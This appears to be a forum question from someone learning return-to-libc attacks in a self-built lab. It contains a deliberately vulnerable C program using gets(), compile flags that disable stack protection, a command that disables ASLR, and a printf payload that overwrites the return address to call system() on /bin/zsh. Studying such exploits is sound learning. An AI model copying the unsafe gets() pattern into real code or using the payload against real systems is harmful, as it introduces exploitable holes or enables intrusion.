I'd like to learn how return to libc attacks work, so I have written a vulnerable program so that I can change the return address of a function to that of system()
. However, the program doesn't appear to call system()
and exits cleanly.
Prerequisites
- I'm using Debain Squeeze
- I have disabled address randomization with:
echo 0 > /proc/sys/kernel/randomize_va_space
Vulnerable Code
#include <stdio.h>
void someFunc(void);
void someFunc(void){
char buffer[64];
gets(buffer);
//puts(buffer);
}
int main(int argc, char **argv)
{
someFunc();
return 0;
}
The code is compiled with:
gcc -fno-stack-protector -ggdb -o vuln vuln.c
Using GDB I have asserted that:
/bin/zsh
is @0xbffff9b9
system()
is @0xb7ed0000
exit()
is @0xb7ec60f0
Exploit
I exploit it by piping in 72
zeros, exit, system and the pointer to /bin/zsh
, in that order:
printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
The program doesn't segfault or execute /bin/zsh
.
In GDB
Interestingly, if I change SHELL="/xin/zsh"
, and execute it in gdb, the system call works:
Cannot exec /xin/zsh
So my questions are:
Have I understood the return to libc attack concept correctly?
Am I piping the malicious code in the correct way and order?
Why does it appear to work in GDB, but not in the shell?
(I've already read return to libc works in gdb but not when running alone)